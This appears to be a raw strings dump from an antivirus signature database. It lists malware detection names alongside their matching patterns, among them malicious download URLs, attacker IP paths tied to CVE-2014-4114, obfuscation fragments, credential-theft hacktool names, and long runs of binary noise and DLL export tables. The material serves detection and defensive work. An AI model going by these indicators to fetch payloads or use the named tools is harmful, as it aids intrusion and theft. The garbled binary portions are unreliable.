2rav\\n;\" 0-9a-fx\\\\ 0-9a-z rav e*!#SCPT:VBS/Obfuscator.SplitPatternHTTP.001  /* 0= \"h\";  /* += \"ttp\"; +!#SCPT:JS/Obfuscator.Redundancy.UnusedVar.E e+!#SCPT:JS/Obfuscator.Redundancy.UnusedVar.E ';  var  /';  var  ';  var  ';  var .!#//SCPT:DigitalSignature.GlobalSign.SHA256.G2 e.!#//SCPT:DigitalSignature.GlobalSign.SHA256.G2 (GlobalSign Timestamping CA - SHA256 - G2 0!#SCPT:Adware:Win32/PennyBeeLinkury.DigitalSig.A e0!#SCPT:Adware:Win32/PennyBeeLinkury.DigitalSig.A 643561 *643561 Israel Tel Aviv @ReSoft LTD. lp/sq/d.pngPK Alp/sq/d.pngPK PMANGER.classPK !#SCPT:Java:HasLongClassName ?.classPK P.classPK &!#SCPT:Adware:Win32/SupSearchProtect.A f&!#SCPT:Adware:Win32/SupSearchProtect.A Giner Tech Inc1 5Giner Tech Inc1  Giner Tech Inc0 globalsign.com f,!#SCPT:JS/Obfuscator.Redundancy.Arithmetic.A /= 0x */+- 0x f0!#SCPT:JS/Obfuscator.Split.String.fromCharCode.A +St\"+\"r 1!#SCPT:JS/Obfuscator.BASE64HexEncScript.WScript.A f1!#SCPT:JS/Obfuscator.BASE64HexEncScript.WScript.A MjJceDU3XHg1M1x4NjNceDcyXHg2OVx4NzBceDc0 *MjJceDU3XHg1M1x4NjNceDcyXHg2OVx4NzBceDc0  !#SCPT:JS/Obfuscator.StaticXOR.A g !#SCPT:JS/Obfuscator.StaticXOR.A Code\"]; <Code\"]; A-Za-z[ A-Za-z %  A-Za-z.length]); g!!#SCPT:JS/Obfuscator.Redundancy.Q ;if(\"\\x !=== \"\") g%!#SCPT:JS/Obfuscator.Split.function.A !#SCPT:HTML/PhishPhrase.DHL.B [(Fi)7(l)5(e is )8(secu)3(r)-3(ed)3(.)6( )-4(P)4(l)5(ea)3(se ) @[(Fi)7(l)5(e is )8(secu)3(r)-3(ed)3(.)6( )-4(P)4(l)5(ea)3(se ) h(!#SCPT:JS/Obfuscator.Reversed.HexMixed.A 5rav\\n;\" \t0-9A-Za-z rav *!#SCPT:JS/Obfuscator.Redundancy.NewLines.C h*!#SCPT:JS/Obfuscator.Redundancy.NewLines.C \"+  \" 3\"+  \" \"+  \" @\"+  \" @\"; varfunctionif LibraryTest3.textPK DLibraryTest3.textPK *LibraryTest.textPK *LibraryTest2.textPK !#SCPT:JS/Obfuscator.Zlader.H.1 ='555 ?='555 @5E225E @5E17 54555657505152535C5D5E  !#SCPT:HTML/PhishPhrase.Rakyat.C i !#SCPT:HTML/PhishPhrase.Rakyat.C .p)-7(df) >.p)-7(df) (i)5(k)-17(hl)7(as)-3(, (i)5(Rak)-28(y)18(at) &!#SCPT:JS/Obfuscator.WScriptDecimals.A i&!#SCPT:JS/Obfuscator.WScriptDecimals.A =WScript; 8=WScript; 0-9\")]; (!#SCPT:JS/Obfuscator.Split.hex.WScript.A i(!#SCPT:JS/Obfuscator.Split.hex.WScript.A 6(\"57 *!#SCRIPT:Exploit:Win32/CVE-2014-4114.A!gif i*!#SCRIPT:Exploit:Win32/CVE-2014-4114.A!gif mbeddedStg 4mbeddedStg \\\\37.59.5.18\\11\\test. .txt\\\\37.59.5.18\\11\\test. gifinf *!#SCRIPT:Exploit:Win32/CVE-2014-4114.B!gif i*!#SCRIPT:Exploit:Win32/CVE-2014-4114.B!gif \\\\216.66.74.22\\/root/smb4k/teamths\\ths. 4\\\\216.66.74.22\\/root/smb4k/teamths\\ths. +!#SCRIPT:Exploit:Win32/CVE-2014-4114-infgif i+!#SCRIPT:Exploit:Win32/CVE-2014-4114-infgif EmbeddedStg 3EmbeddedStg .txt\\\\ \\slide !#SCPT:PDF/URIType.A /Type /Action K/Type /Action >> 1 load/IDPK Eload/IDPK cMETA-INF/MANIFEST.MFPK .e () {return this.charAt((( B.e () {return this.charAt((( +-|*&^ +-|*&^( j$!#SCPT:Exploit:O97M/CVE-2017-11882.A j1!#SCPT:JS/Obfuscator.BASE64HexEncScript.WScript.A eDIyXHg1N1x4NTNceDYzXHg3Mlx4NjlceDcwXHg3NFx4 .eDIyXHg1N1x4NTNceDYzXHg3Mlx4NjlceDcwXHg3NFx4 !!#SCPT:JS/Obfuscator.Redundancy.S k!!#SCPT:JS/Obfuscator.Redundancy.S [parseInt][( ?[parseInt][( k\"!#//SCRIPT:Java/AdwindOddZIPFile.A a-zSPK #!#SCPT:JS/Obfuscator.DecimalArray.C k#!#SCPT:JS/Obfuscator.DecimalArray.C =|99| k&!#SCPT:JS/Obfuscator.DictionaryWords.A :\"+(\" k&!#SCPT:JS/Obfuscator.WScriptDecimals.A =[WScript]; :=[WScript]; l !#SCPT:JS/Obfuscator.LongNames.A = WScript.CreateObject( A= WScript.CreateObject( A-Z\")); l !#SCPT:JS/Obfuscator.StaticXOR.A Cod\" + \"e\"]; ACod\" + \"e\"]; l!!#//EXC:Exploit:Win32/ShellCode.A security-info FnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjoj @security-infoFnhllAKWRHGAlo+ESXykKAAAAAAAAAAAwAAAAAAAAEaphjoj l!!#SCPT:JS/Obfuscator.DigitalSet.A \")];   @\")];   A-Za-z >( 0-9)) $!#SCPT:Adware:Win32/LiveSoftAction.A l$!#SCPT:Adware:Win32/LiveSoftAction.A LiveSoftAction SRL1 =LiveSoftAction SRL1  LiveSoftAction SRL0 l&!#SCPT:JS/Obfuscator.DictionaryWords.A ;\")+(\" a-zA-Z\",\" a-zA-Z\")+\" l&!#SCPT:JS/Obfuscator.WScriptDecimals.A = WScript; ;= WScript; )!#TrojanDownlo l)!#TrojanDownlo DebuggerStepThroughAttributex !#ALF:Trojan:Win64/ClipBanker.ABM!MTB @ |$0~9H D$(HcD$0H InitOnceExecuteOnce Explorer_Server Explorer_Serverx !#ALF:Ransom:Msil/ShinoLocker.KS!MTB = ap(Q r ap(R kZ\" ?X(S l(T (U (< .shino get_StartInfo ShinoLocker ShinoLockerx !#ALF:TrojanDownloader:Win32/Scrop.SIB!MTB !#ALF:TrojanDownloader:Win32/Scrop.SIB!MTB2  .com Start Menu\\Programs\\Startup Start.lnk Start.exe bpwd.zip ftp.dat ftp.datx !#HSTR:TrojanDownloader:Win32/Travnet.A !#HSTR:TrojanDownloader:Win32/Travnet.Ad4 2Gepcffk%>$:*\"iegzk~chfo1*GYCO*<$:1*]cdne}y*D^*?$;#8d 2Gepcffk%>$:*\"iegzk~chfo1*GYCO*<$:1*]cdne}y*D^*?$;#8d  ]ZPQL \\@Y) @trnw QL@@M)\".%9 !a x !#ALF:TrojanDownloader:Win32/GuLoader.SIB!MTB !#Lowfi:HSTR:Win32/CnetInstaller http://www.report-download.com/advplatform/CnetInstaller.exe?appid=x !#Lowfi:HSTR:Win32/PhpNuke http://download.phpnuke.org/installers/extra_software/coupish/coupish-x Z2VuYWthayBRY2xmfFVkb0R1cwhZS0x2fEpRQFFKVVt1cy4da250cm5laRwVaGvQAXMMdnwaGQkEFQIPDg8RBa5hc25wcmJvY1ZhXa5Za254ekpxREdZS45RQ05AQkpJdGaunWtudA== Z2VuYWthayBRY2xmfFVkb0R1cwhZS0x2fEpRQFFKVVt1cy4da250cm5laRwVaGvQAXMMdnwaGQkEFQIPDg8RBa5hc25wcmJvY1ZhXa5Za254ekpxREdZS45RQ05AQkpJdGaunWtudA==x !#HSTR:Win32/Trickbot.16 fo6YwqQUp3lRtIW8ySPbWPZhqSq5JZP0aQAN8wHicLCmeSNTzTBM7H4K8Dxg LFCS5ffL}t3%PrsgVdtAbrlA$IE|6XS7Z{e1Ba2NNFf4VRfr09iimFEC2SihiQ%Zfw3eE@4fnwR$ LFCS5ffL}t3%PrsgVdtAbrlA$IE|6XS7Z{e1Ba2NNFf4VRfr09iimFEC2SihiQ%Zfw3eE@4fnwR$x !#HSTR:PWS:Win32/Zbot.Citadel !#ALF:TrojanSpy:Win32/Ursnif.ARH!MTB {92CFC1A4E0924D909728DA95EA92EC0B}  -insta msidntld32 msidntld64 radardt32 radardt64x !#HSTR:Nivdort.DZ1!Sleep !#ALF:HSTR:MSIL/StubDownloader dl.fc-start.website/stub_maker.php?program= NO time check url inputx !#ALF:Backdoor:Win32/Negoka.A!dha bbs.swgabeg.com t <2t\t42 D$2Vf D$4If D$6Cf D$:Pf D$<3f D$>2f D$@.f D$Bdf !#HSTR:Cripscups.A1 get_Keyboard get_CapsLock get_Keyboardget_CapsLock ServerComputer add_TickHideServerComputer add_Shutdown Circus.Res add_ShutdownCircus.Res tem32\\system.exe Circus\\obj\\Debug\\Circus Circus\\obj\\Debug\\Circusx !#do_exhaustivehstr_rescan_nivdort_a !#ALF:VirTool:CeeInject.LR!bit j@h0SPQ j@h0SjR !#ALF:VirTool:Win32/Crdrpi.D!MTB COMPlus_ETWEnabled !#ALFPER:HSTR:ClickMeIn_ConvertAd.A1 !#HSTR:Trojan:Win32/Koobface.gen!E if exISt \"C:\\myapp.exe\" GOTO &c_fb=%d&c_ms=%d&c_hi=%d&c_be=%d&c_fr=%d (&c_fb=%d&c_ms=%d&c_hi=%d&c_be=%d&c_fr=%d &c_fb=%d&c_ms=%d&c_hi=%d&c_tw=%d readyStatex !#AllowList:HSTR:Win32/Centinel.A Centinel.yml Centinel.exe Software\\Centinel Uninstall\\Centinel Humano Software S.L. Monitor Alerta Temprana Cryptowall Monitor Alerta Temprana Cryptowallx !#HSTR:Gamarue_Dll_Loader desktop.ini dpmmBmbvusjW}fmjGebfS}fmjGfubfsD}XfuvdfyFmmfiT desktop.inidpmmBmbvusjW}fmjGebfS}fmjGfubfsD}XfuvdfyFmmfiT |VirtualAlloc| |CreateFileA| |ShellExecuteW| |ReadFile| |ReadFile|x !#Lowfi:HackTool:Win32/Trtool!dha telnet   /$  capCreateCaptureWindowA acmDriverOpen QueryServiceStatus GetEnhMetaFileHeader GetEnhMetaFileHeaderx !#ALF:Program:Win32/Webcompanion BingDefaultSearch DefaultSearchYahoo RevertSearchHomepage SearchEngineList GetSearchEngines WebCompanionInstaller WebCompanionInstallerx !#HSTR:Worm:Win32/Braban.A  w32_sharedptr->size == sizeof(W32_EH_SHARED) ,w32_sharedptr->size == sizeof(W32_EH_SHARED) MSBLClass \tMSBLClass IMWindowClass  LIBGCCW32-EH-2-SJLJ-GTHR-MINGW32 LIBGCCW32-EH-2-SJLJ-GTHR-MINGW32x !#HSTR:Copali_PathChecker mDwnld mDwnldx !#HSTR:Trojan:Win32/Spynoon.SSMA30!MTB yq0p7yh555u \\pwlxkozl.dll a8w1iehd701z \\taplipg.dll IIDFromString DllUnregisterServerx !#HSTR:Trojan:MSIL/AgentTesla.OXBK!MTB L Substringx !#HSTR:Trojan:MSIL/AgentTesla.OXF!MTB 1 GetTypex !#HSTR:Trojan:MSIL/AgentTesla.OXO!MTB 3 FallbackBuffer WSTRBufferMarshalerx !#HSTR:Trojan:MSIL/AgentTesla.OXJA!MTB / !#ALF:Trojan:Win32/Zbot.SIBD17!MTB !#HSTR:MSIL/Obfuscator.GenDecnryptAlgo.N ProximityCardReader\\obj\\Debug\\ProximityCardReaderInterface.pdb ProximityCardReader\\obj\\Debug\\ProximityCardReaderInterface.pdbx !#HSTR:PossibleSkypeSpammer goo.gl/V8WLv9 goo.gl/NYw7G3 goo.gl/1m01vw goo.gl/8289Yj goo.gl/cGdTRw goo.gl/z2yjU8 goo.gl/Z3uGPB goo.gl/Bk2JO5 goo.gl/Bk2JO5x !#ALF:Trojan:Win32/TrickBot.CE!MTB MOfH?6M42F252loLt0N~7?COsSwyith8HYnnP %MOfH?6M42F252loLt0N~7?COsSwyith8HYnnP !#Lowfi:HSTR:Win32/YYRun YYRun.exe start. argc is: HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Ext\\Preapproved\\{AAC9EA5D-F954-4D28-9E7C-96E45D80125A} HKEY_CURRENT_USER\\Software\\Microsoft\\Windows\\CurrentVersion\\Ext\\Preapproved\\{AAC9EA5D-F954-4D28-9E7C-96E45D80125A}x !#SLF:Win64/ScareCrow.B D$(0H D$0@H D$ @H !#ALF:HSTR:Trojan:Win32/Expetost.A JUMAN %03%01www%02facil-programas%02com%02br/ %02zip /notify%02php !#HSTR:Backdoor:Win32/Fynloski.gen Software\\Microsoft\\Active Setup\\Installed Components\\{ StubPath Software\\Microsoft\\Active Setup\\Installed Components\\{StubPath Windows Media Windows Media\\system32\\svchost.exe WindowsDefend WindowsDefend\\explorer.exex !#ALFPER:HSTR:ElexCrashReportText.A name=yac_download name=yac_softonic name=yac_tamindir name=yac_baixaki %s/inf/geturl/%s%s /yet-another-cleaner- /yet-another-cleaner-x !#ALF:HSTR:GamaruePl_KL \"},{\"t\":%lu,\"p\":\"%s\",\"c\":\"%s%s\",\"d\":\"%s ,\"kl\":\" Pj@WV !#ALF:HackTool:Win32/Tokenise.A!MTB |$@}# !#ALF:Trojan:Win32/Downloader.SafeZip.AS!MTB http://talele.50megs.com/Installer/safe.zip +http://talele.50megs.com/Installer/safe.zipx !#HSTR:Adware:Win32/ZoomyLib.B ForceRemove {72351B45-9636-4F99-820B-7C552D27897D} = s 'Zoomify' wit4ie.WitBHO = s 'Zoomify' {99C1EDDE-1A80-48EA-BD58-CEA4B2DFAC81} {99C1EDDE-1A80-48EA-BD58-CEA4B2DFAC81}x !#HSTR:Program:Win32/PCSpeedUp SOFTWARE\\Speedchecker Limited\\PC Speed Up pcsuservice.exe PCSUQuickScan.pdb PCSUQuickScan.pdbx !#ALF:Trojan:Win64/Vigerson.A!dha project_viber /usr/local/Cellar/go/1.13/libexec/src/internal/cpu/cpu.go main.dumpWholeRegion expand 32-byte kexpand 32-byte k expand 32-byte kexpand 32-byte kx !#TEL:Hacktool:Win32/ArtemisFall.A!dha %s -b x.x.x.x/x 80,8080 -o result.txt %s -s x.com -o result.txt [+] banner hunter for %s : %s [+] vul hunter for %s : %s [+] vul hunter for %s : %sx !#TEL:Trojan:Win32/GeneriousPortion.A!dha ^^The %d Adapter^^ The sticking text is: the NIC information is changed to be: thumbcache_96.dbx thumbcache_23.dbx thumbcache_23.dbxx !#TEL:TrojanSpy:Win32/KediRat.B!dha implant.exe %tEXtdate:create EncryptedKedi\\standard\\obj\\Release\\implant.pdb mangoseed reader_sl.hnt Kedi.Loader Kedi.Loaderx !#HSTR:HackTool:MSIL/Anonip set_zpravavsemspamtimer SkypeTOPA\\obj\\Debug\\PnonaSkype.pdb SkypeTOPA\\obj\\Release\\PnonaSkype.pdb Programoval: TOPAx icrosoft\\Windows\\CurrentVersion\\Run WindUp C:\\COMMAND.COM /C DEL http://windowsupdate.microsoft.com http://67.15. lib.htm !#ALF:TrojanDropper:Win32/Maxinull.C!dha DsfbufQspdfttB XiS92BfOXoyRp5V6932M dne/fyf ... i --> image/x-xbitmap ProxyOverridex !#ALF:HackTool:Win64/Megacmd.A!dha ;list ;dele ;move ;mkdi ;mkdix !#HSTR:Trojan:MSIL/Tnega.PAA!MTB TextBoxxxFromBase64CharArrayx !#HSTR:Trojan:MSIL/AgentTesla.OXDM!MTB X Replacex !#HSTR:Trojan:MSIL/AgentTesla.VP49!MTB T W__________W X__________X !#HSTR:Backdoor:Win32/Silby    :Received Shell Code! .exec MODE %s +i udp flood \tudp flood syn flood \tsyn flood usbspread \tusbspread nick %s \\emule\\incoming\\ scripts/%2e scripts/%2ex !#ALF:PSW:MSIL/Disstl.BAC!MTB 7 Discord DiscordSocketClient DiscordRpcClient discord.gg/gEN6X25fuz discord.gg/gEN6X25fuzx !#ALF:Trojan:Win32/Zbot.SIBC8!MTB !#HSTR:Win32/CVE-2020-0787.B !#ALF:PUA:Staged:Bibibei t.bibibei.com/thinker/ \\thinkerIE\\thinker\\Release\\thinker.pdb {13AE4E2B-0FE0-46F9-9BF4-FD81F0C8B930}x !#LOWFI:Trojan:Win32/ModifiedExecutable!KcrcBeWare tcrypt_cl2\\tcrypt_cl2\\Release\\s_high.pdb tcrypt_cl2\\tcrypt_cl2\\Release\\s_low.pdb \\tcrypt\\Release\\s_high.pdb \\tcrypt\\Release\\s_low.pdb \\tcrypt\\Release\\s_low.pdbx !#SLF:Win64/ScareCrow.A 82630411e5df0e0cKernel32 {55F154C0-CDAF-45C4-9A1A-852FF51F951E}x !#ALFPER:Trojan:Win32/Forsang.D!dha j6jqf !#HSTR:TrojanDownloader:Win32/Renos.gen!BB.1 !#Trojan:Win32/Scoreem d1.kuai8.com/setup/kuai8_rjaz.exe GM_downloading \\TheWorld\\TheWorld.inix !#ALF:Backdoor:Win32/PlugX.AE!dha ijlqtyz48DEJKNTUZchinqwxy56 Acrobat.dxex !#ALFPER:HSTR:LinkuryDecryptAPI.A1 !#HSTR:Program:Win32/Pameseg!Strings SendSMS 0930399999 1645976 19995577 2406415 483233 676849 8109580 90645045 9090199 91810700 91810700x !#TEL:Hacktool:Win32/Pladiddle.A K8team Swiss Army Knife K8_Dragon_Claw_Blade K8 Dragon Claw Bladex !#HSTR:KINGSOFT DubaTool_Viking kingsoft.com (Kingsoft Corporation kksetupext using Kingsoft Product! using Kingsoft Product!x !#ALF:HSTR:Backdoor:Linux/Exaramel.STA ExecStartPre=/bin/rm -f /tmp/.applock /time.get/ /attachment.get/ /tasks.get/ /tasks.report/ odhyrfjcnfkdtslt odhyrfjcnfkdtsltx !#HSTR:TrojanDownloader:Win32/Zlob.BT.1 oft\\Wind rer\\Brow res://%s\\s%s%s%s04.htm ll/http_4 l/dnsex !#HSTR:Trojan_HashApp PostId= &PostData= QueryId= PostId=&PostData=QueryId= -NQgiR;uReply pn=-&fa= !#HSTR:Wizrem.X1.PrintHelperUtility PrintHelperUtility showIn_special_Browser internt_explorer GetInstalledBrowser IE.HTTP FirefoxURL ChromeHTML ChromeHTMLx !#ALF:HSTR:Trojan:Win32/Depcen.A  Ph:=c !#ALF:Ransom:Win32/EregorCrypt.SN!MTB !#ALFPER:HSTR:Eorezo_MobilePCStarterKit.A1 mobilepcstarterkit \"url\":\"http://mobilepcstarterkit.com/ \"silentLoader\":\"true\" .com/cgi-bin/main.cgi \"appPartner\": \"appPartner\":x !#ALF:Trojan:MSIL/AgentTesla.SEX!MTB AZJCJfpyUsnAfJiyTLOifhLwQLhZwGQnrnOfJOn yhxGkJfDMpTfiUkihOywMGfEhw RegAsm.exe RegAsm.exex !#PUA:Block:Soctuseer WajamInternetEnhancer.exe WAJAM_REG_KEY FakeTunnel no decryption for you :) Global\\Wajam.Proxy.AbnormalTermination WajamMutext WajamMutextx !#Hacktool:Win32/AceHash!dha NO PASSWORD********************* Host           Type             User             Password    (Got %d) SamIFree_SAMPR_USER_INFO_BUFFER SamIFree_SAMPR_USER_INFO_BUFFERx !#HSTR:Win32/Meterpreter.P Needs Win32! VirtualAllocx !#SLF:Win32/SharpMapExec.A SharpMapExec. /m:shares /m:exec /m:assembly /m:secrets Rubeus. SharpKatz. SharpDPAPI SharpDPAPIx !#HSTR:Win32/Predator.AR1!EML Project51.dll Mfkeoxlzmclr Project51.dllMfkeoxlzmclr YVfgfgfgfgfg .dllYVfgfgfgfgfg YUcoedrockdk Rcxlxosdkhvclf .dllRcxlxosdkhvclf 2xbK*? ecP8/  ecP8/ =^!>~ ~iXWDJ  ee'6  ?^3a xm`M>c#tP  eg3p  eh8J +FmCVW U1Ffd  el5V elZo\t  elZo\t ?%TF6  1akI  enz1 To,kE jf?;e  eqX?  eql9 er%oC  er%oC x$0fR UOB8&! \tanE etW.u  etW.u eu.\ty  eu.\ty owUIb  ewFd  ey;] 7LB6~ Pka0 Bwi /]ImH.{y |TJiJ >Q45\t3 q]M%& u#V$$4 khbtl G0X<|  o&<3 e)\"'K \\JigA dVhOn E@Jpn !GD@oV !J|PA V~asuKH #|h/! .JCdNs( Ld CN'K} P[<0p  a8cZ/L |AzMa ]phoG. $ay^wKYH0 MKE]y Dlq[M uTzWlvG ,tWur _ AkO xItNq 8__%y FPvEM- nev,b CUk,E~ 8]5Ez% }'DJ/]H ^M jE yhpz`0 #eewYO X;*v& Q-5\\M 2h Mt` -kf2Cc/& %aPdi x?FW+w Q!9v/4 iL&snDq [vV t ve%,Q \tI&?dZ& G6H$?ts J|`I*  f P  ?MCJ' bTSPO  :c?g \t :c?g \t [n1 (8a!g 6\tGg& 6\tGg&g %sg&g (hsal (hsalg I*g&g 3yg&g WG<g& WG<g&g -eaJg rc0g& rc0g&g hag&g dz\t)s dz\t)sg #s|g& #s|g&g p2g&g &,bl# &,bl#g Q7g&g  Cexg \t Cexg JCxag )Pljg \t\"17H \"u/FU \t\"u/FU \"xT+~ \t\"xT+~ \t#Qb\\ \t#U7H $9S*g& \t$9S*g&g \t$z?w \t%,\t9 \t%`(> \t%sH^ %{\tYxW \t%{\tYxWg -yg&g \t&bUz &r}Tg \t&r}Tg \t&t) '4{-g \t'4{-g \t'8F: \t'^J8 \t't}@ (Nd{lj \t(Nd{ljg )?}+~ \t)?}+~ *fgcx[ \t*fgcx[g \t+#Me \t+W/M \t+w[v 1-0 Library FileVersion10.0.10126.0 (GitEnlistment(amopslocal).210831-1009)V InternalNameapi-ms-win-crt-time-l1-1-0  Microsoft Corporation. All rights reserved.^ OriginalFilenameapi-ms-win-crt-time-l1-1-0j%   $ .rsrc( @@.relocj@ bad allocationT gmyapp.exeG FRSDS vccorlib110.pdb memcmpntdll.dll) GetProcessHeap/ HeapFreeKERNEL32.dllbd.a VCCORLIB110.DLL ??0Delegate@Platform@@Q$AAA@XZ ??0Delegate@Platform@@QAE@XZ ??0Object@Platform@@Q$AAA@XZ ??0Object@Platform@@QAE@XZ ?Allocate@Heap@Details@Platform@@SAPAXI@Z ?Free@Heap@Details@Platform@@SAXPAX@Z ?GetActivationFactoryByPCWSTR@@YGJPAXAAVGuid@Platform@@PAPAX@Z ?GetCmdArguments@Details@Platform@@YAPAPA_WPAH@Z ?GetIBoxArrayVtable@Details@Platform@@YGPAXPAX@Z ?InitializeData@Details@Platform@@YAJH@Z ?UninitializeData@Details@Platform@@YAXH@Z \t VCCORLIB110.DLL??0Delegate@Platform@@Q$AAA@XZ??0Delegate@Platform@@QAE@XZ??0Object@Platform@@Q$AAA@XZ??0Object@Platform@@QAE@XZ?Allocate@Heap@Details@Platform@@SAPAXI@Z?Free@Heap@Details@Platform@@SAXPAX@Z?GetActivationFactoryByPCWSTR@@YGJPAXAAVGuid@Platform@@PAPAX@Z?GetCmdArguments@Details@Platform@@YAPAPA_WPAH@Z?GetIBoxArrayVtable@Details@Platform@@YGPAXPAX@Z?InitializeData@Details@Platform@@YAJH@Z?UninitializeData@Details@Platform@@YAXH@Z< CompanyNameMicrosoft Corporation` FileDescriptionWindows vccorlib110 Library InternalNamevccorlib110 OriginalFilenamevccorlib110j% L0h0l0p0t0x0|0 DL0h0l0p0t0x0|0 1%1N1 2)2H2X2_2q2x2 2)2H2X2_2q2x2    $  `.rsrc  @@.relocJ0 mssign32.pdb mssign32.pdb3 MSSIGN32.DLL FreeCryptProvFromCert GetCryptProvFromCert PvkFreeCryptProv PvkGetCryptProv PvkPrivateKeyAcquireContext PvkPrivateKeyAcquireContextA PvkPrivateKeyAcquireContextFromMemory PvkPrivateKeyAcquireContextFromMemoryA PvkPrivateKeyLoad PvkPrivateKeyLoadA PvkPrivateKeyLoadFromMemory PvkPrivateKeyLoadFromMemoryA PvkPrivateKeyReleaseContext PvkPrivateKeyReleaseContextA PvkPrivateKeySave PvkPrivateKeySaveA PvkPrivateKeySaveToMemory PvkPrivateKeySaveToMemoryA SignError SignerAddTimeStampResponse SignerAddTimeStampResponseEx SignerCreateTimeStampRequest SignerFreeSignerContext SignerSign SignerSignEx SignerTimeStamp SignerTimeStampEx SpcGetCertFromKey MSSIGN32.DLLDllRegisterServerDllUnregisterServerFreeCryptProvFromCertGetCryptProvFromCertPvkFreeCryptProvPvkGetCryptProvPvkPrivateKeyAcquireContextPvkPrivateKeyAcquireContextAPvkPrivateKeyAcquireContextFromMemoryPvkPrivateKeyAcquireContextFromMemoryAPvkPrivateKeyLoadPvkPrivateKeyLoadAPvkPrivateKeyLoadFromMemoryPvkPrivateKeyLoadFromMemoryAPvkPrivateKeyReleaseContextPvkPrivateKeyReleaseContextAPvkPrivateKeySavePvkPrivateKeySaveAPvkPrivateKeySaveToMemoryPvkPrivateKeySaveToMemoryASignErrorSignerAddTimeStampResponseSignerAddTimeStampResponseExSignerCreateTimeStampRequestSignerFreeSignerContextSignerSignSignerSignExSignerTimeStampSignerTimeStampExSpcGetCertFromKey FileDescriptionWindows mssign32 Library InternalNamemssign32 OriginalFilenamemssign32j% \\0e0y0 8\\0e0y0 1>1G1P1g1\t2 1>1G1P1g1\t2y   $ .text+ @@.relocd0 adptif.pdb adptif.pdb3 ExitProcessKERNEL32.dll`c.a ADPTIF.DLL CreateSocketPort DeleteSocketPort FwBindFwInterfaceToAdapter FwConnectionRequestFailed FwCreateInterface FwDeleteInterface FwDisableFwInterface FwEnableFwInterface FwGetInterface FwGetNotificationResult FwGetStaticNetbiosNames FwIsStarted FwNotifyConnectionRequest FwSetInterface FwSetStaticNetbiosNames FwStart FwStop FwUnbindFwInterfaceFromAdapter FwUpdateConfig FwUpdateRouteTable GetAdapterNameFromMacAddrW GetAdapterNameW GetFilters IpxAdjustIoCompletionParams IpxCreateAdapterConfigurationPort IpxDeleteAdapterConfigurationPort IpxDoesRouteExist IpxGetAdapterConfig IpxGetAdapterList IpxGetOverlappedResult IpxGetQueuedAdapterConfigurationStatus IpxGetQueuedCompletionStatus IpxPostQueuedCompletionStatus IpxRecvPacket IpxSendPacket IpxWanCreateAdapterConfigurationPort IpxWanQueryInactivityTimer IpxWanSetAdapterConfiguration SetFilters  !\"#$%&'ADPTIF.DLLCreateSocketPortDeleteSocketPortFwBindFwInterfaceToAdapterFwConnectionRequestFailedFwCreateInterfaceFwDeleteInterfaceFwDisableFwInterfaceFwEnableFwInterfaceFwGetInterfaceFwGetNotificationResultFwGetStaticNetbiosNamesFwIsStartedFwNotifyConnectionRequestFwSetInterfaceFwSetStaticNetbiosNamesFwStartFwStopFwUnbindFwInterfaceFromAdapterFwUpdateConfigFwUpdateRouteTableGetAdapterNameFromMacAddrWGetAdapterNameWGetFiltersIpxAdjustIoCompletionParamsIpxCreateAdapterConfigurationPortIpxDeleteAdapterConfigurationPortIpxDoesRouteExistIpxGetAdapterConfigIpxGetAdapterListIpxGetOverlappedResultIpxGetQueuedAdapterConfigurationStatusIpxGetQueuedCompletionStatusIpxPostQueuedCompletionStatusIpxRecvPacketIpxSendPacketIpxWanCreateAdapterConfigurationPortIpxWanQueryInactivityTimerIpxWanSetAdapterConfigurationServiceMainSetFilters FileDescriptionWindows adptif Library InternalNameadptif OriginalFilenameadptifj% Z0c0l0u0~0 XZ0c0l0u0~0 1 1)121;1D1M1V1_1h1q1z1 ; ]Q\\  :Y[L ?zw=&Tcszg 7P 9&6 Q-e[jC .];No'vLk Ty0tk4 eT<>U ^X\tGVyL 5|:w_ ,_V O @'[)Smp  @0;xG p&C@= ~hzvF| D=ckaTdLtW s{ 8c D8z:LK iC725 +h=,p pRPec `cA2X L3S,# Ls4 X\"] Sxex[I  SaB) i|L#\tZQ i8ws\\ niJvq Q+OwLU  S D| nMh/l# vUo5`e {PZON e,|={ 0*;>X /,&)J G% db S#U]e  S#U]e EF4>*hf  S(.3  H$*\\h  S,Fo S/*>j  S/*>j yCC/&, S;U!(R   S3'+ S4#oR  S4#oR =(D{ #/]]vX  S={m S>B$1  S>B$1 2=(L_ n`w `3  SH\\\t  SI\\6 h2g<= :DL!' YgN%|Q P'c$Gp mrIqB _r(g2 $p)w3&S NT..E  &Sfn3 qir4: fTq1} $&F]p I#.W + 0E/Kp 4)iQ^= :,] U *elo*M L}Xop io% ~( [xV.Hp 0nPT9J ,2MI( ,vnC; kI9*]tp J1tp; Wh:;Ob h @\\~ N3`pomp gL\tup P]\\4{p  9O,V ~2`r> \t\\p4=6 Xn$%q !,,>p EaCNp \"M^Ro V0~,z <''m! ?R/Y%F)+a %9`jj (Voc) 6|FO\\ :e\\z5 <= t# wT-F,s _LgU/ )V{B{p  DI q` Ot:@Kp hRzGy C; kWp zEval:TrojanWin32/Occamy.CC0 )!#ALF:HeraklezEval:TrojanWin32/Casdet!rfn )!#ALF:HeraklezEval:Trojan:AndroidOS/Koler  o a2 )!#ALF:HeraklezEval:RansomMacOS/KeRanger.A )!#ALF:HeraklezEval:Backdoor:Linux/Mirai.B )!#ALF:HeraklezEval:TrojanWin32/Adload!rfn )!#ALF:HeraklezEval:TrojanWin32/Occamy.CF6 )!#ALF:HeraklezEval:TrojanWin32/Occamy.C22 )!#ALF:HeraklezEval:TrojanAndroidOS/Kmin.A )!#ALF:HeraklezEval:TrojanWin32/Occamy.CE8 )!#ALF:HeraklezEval:Trojan:MacOS/Occamy.AA )!#ALF:HeraklezEval:TrojanWin32/Azorult!ml )!#ALF:HeraklezEval:ProgramMacOS/Occamy.AA )!#ALF:HeraklezEval:TrojanWin32/Occamy.C08 )!#ALF:HeraklezEval:TrojanWin32/Ymacco!rfn )!#ALF:HeraklezEval:TrojanWin32/Occamy.C1E )!#ALF:HeraklezEval:TrojanWin32/Tiggre!rfn )!#ALF:HeraklezEval:TrojanWin32/Occamy.C60 )!#ALF:HeraklezEval:TrojanAndroidOS/Ymacco )!#ALF:HeraklezEval:TrojanWin32/Occamy.CEF )!#ALF:HeraklezEval:TrojanWin32/Occamy.C81 )!#ALF:HeraklezEval:TrojanWin32/Occamy.C4D :nn:\t d;QT- )!#ALF:HeraklezEval:TrojanWin32/Occamy.C1D )!#ALF:HeraklezEval:TrojanWin32/Occamy.C2C 